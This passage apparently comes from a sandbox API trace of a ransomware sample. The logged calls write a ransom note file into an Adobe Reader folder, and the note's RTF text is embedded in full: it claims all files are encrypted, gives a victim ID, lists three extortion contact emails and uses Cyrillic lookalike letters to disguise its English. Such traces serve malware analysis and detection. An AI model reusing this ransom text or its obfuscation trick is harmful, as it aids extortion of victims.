dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n}ûÃ\x11q\x12©ô\x8a5;ä\x1bú\x9b\x06\nÛ4¬ú°­Øw±´d4\x8d\x03\x17", lpUsedDefaultChar=0x0) returned 14086 [0042.371] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0042.372] CloseHandle (hObject=0x1ac) returned 1 [0042.372] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\!bwng_info!.rtf")) returned 0xffffffff [0042.372] GetLastError () returned 0x2 [0042.372] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M 